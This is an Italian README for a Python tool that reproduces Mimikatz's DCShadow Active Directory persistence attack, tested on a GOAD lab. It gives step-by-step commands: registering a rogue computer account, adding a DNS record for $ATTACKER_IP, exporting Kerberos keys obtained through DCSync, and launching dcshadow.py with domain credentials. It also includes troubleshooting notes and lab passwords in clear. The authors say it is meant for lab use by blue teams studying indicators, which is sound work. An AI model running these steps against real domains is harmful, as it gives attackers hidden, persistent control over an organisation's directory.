
Alternativa Python a Mimikatz lsadump::dcshadow
[!WARNING] NON ESEGUIRLO IN PRODUZIONE. È pensato per test in laboratorio, per consentire ai blue team di lavorare sull'identificazione di IoC, tipi di evento e comportamento. Inoltre, questo strumento è fornito così com'è. Non è previsto supporto oltre alla revisione standard delle pull request che potreste voler creare. Non eseguirlo da un host Windows. Fallo da Linux o da una VM (per evitare conflitti con i servizi RPC).
Questo progetto vuole essere un'alternativa in puro Python alla tecnica dcshadow di Mimikatz. Include un Impacket personalizzato con crypto, gssapi e drsuapi modificati, tra le altre cose.
DCShadow è una potente tecnica di persistenza che può essere considerata un trasporto per altre tecniche come SID history, KRBTGT RBCD, abuso di ACE, e altre.
Questo strumento potrebbe rappresentare le fondamenta per un framework di persistenza AD più versatile, che la nostra community possa usare per aumentare la maturità complessiva sull'argomento.
Questo strumento è stato testato su GOAD.
python3 -m venv venv
source ./venv/bin/activate
pip3 install -r ./requirements.txt
pip3 install ./impacket
Questa macchina verrà registrata come domain controller per la durata della replica e verrà deregistrata al termine.
venv/bin/addcomputer.py -computer-name 'fake701$' -computer-pass '123soleil!' -method LDAPS -dc-host "kingslanding.sevenkingdoms.local" -dc-ip "192.168.10.10" -domain-netbios "sevenkingdoms" "sevenkingdoms.local"/"tyron.lannister":"Alc00L&S3x" -debug
[!WARNING] adcomputer.py è stato modificato per impostare
msDS-SupportedEncryptionTypesa0x1f. Gli ultimi test sembrano generare una violazione di vincolo.[+] Impacket Library Installation Path: /workspace/adpersist/venv/lib/python3.11/site-packages/impacket Traceback (most recent call last): File "/workspace/adpersist/venv/bin/addcomputer.py", line 248, in run_ldaps raise Exception(str(ldapConn.result)) Exception: {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'} [-] {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'}Per ora, usa lo script addcomputer.py standard di Impacket e modifica
msDS-SupportedEncryptionTypesmanualmente tramite ADSI edit.
È necessario affinché il DC legittimo sappia come raggiungere il DC rogue ed evitare errori ERROR_DS_DNS_LOOKUP_FAILURE.
dnstool.py -u "sevenkingdoms.local"/"tyron.lannister" -p "Alc00L&S3x" --record 'fake701' --action add --data "$ATTACKER_IP" "kingslanding.sevenkingdoms.local"
[!TIP] Se per qualche motivo il comando non funziona, aggiungi manualmente la voce DNS tramite gli strumenti DNS sul domain controller.
Quando abbiamo iniziato a sviluppare questo strumento, usavamo credenziali hardcoded in un file .env, caricate nella funzione gss_kerberos_ap_req nel file dcshadow/utils/server/RpcServer.py.
Questo necessita chiaramente di un miglioramento. La password dell'account del DC rogue potrebbe essere passata come argomento CLI e calcolare le chiavi Kerberos. Krbrelayx lo fa già, così come dacledit.py; serve solo copia e incolla.
Per ora devi esportare le chiavi Kerberos come variabili d'ambiente.
Dovrebbe apparire così:
export RC4=652c1be004ef335aa218cfed8e9297fc
export AES128=710b676a1fec1c68edc44b759aace44a
export AES256=bc7564c2e7a2bc740c277ec39f8c5d81e03df8001b7d670f5b46c177242a8bbc
Queste chiavi possono essere recuperate tramite un attacco DCSync.
python3 dcshadow.py --json repl.json --domain "sevenkingdoms.local" --user "cersei.lannister" --password "il0vejaime" --dc-ip "192.168.10.10" --legit-dc-fqdn "kingslanding.sevenkingdoms.local" --rogue-dc-name "fake701"
[!TIP] In questo caso, un file
repl.jsonviene usato per specificare gli oggetti e gli attributi target. In alternativa, lo strumento supporta opzioni in linea (ad es.,--object,--attributee--value).
Se DRSReplicaAdd va in timeout, probabilmente si tratta di un problema di rete/firewall sulla macchina che esegue dcshadow.py (il DC rogue), che probabilmente non consente il traffico in ingresso sulla porta 135/TCP (epmapper) e 1337/TCP (o porta dinamica se implementata in futuro, per drsuapi).
Dovresti eseguire Wireshark sul domain controller legittimo, ma la causa più probabile è che stai tentando di eseguire questo strumento su una macchina Windows: quando il DC legittimo chiede all'epmapper del tuo DC rogue la porta dell'endpoint drsuapi, la risposta è vuota perché è l'epmapper della tua stessa macchina Windows a rispondere, non quello personalizzato.
Questo progetto non sarebbe stato possibile senza l'enorme aiuto di Alessandro Iandoli "MrAle98", un ricercatore di talento incontrato durante lo sviluppo. Grazie Alessandro!
I crediti vanno a Benjamin Delpy e Vincent Letoux per la scoperta iniziale, i talk e l'implementazione in Mimikatz.
Vorrei ringraziare anche Volker, che ha partecipato alle prime fasi dello sviluppo.
Grazie a Dramelac per l'aiuto nel passare da PoC a progetto modulare, una base per un futuro framework, se mai dovesse arrivarci.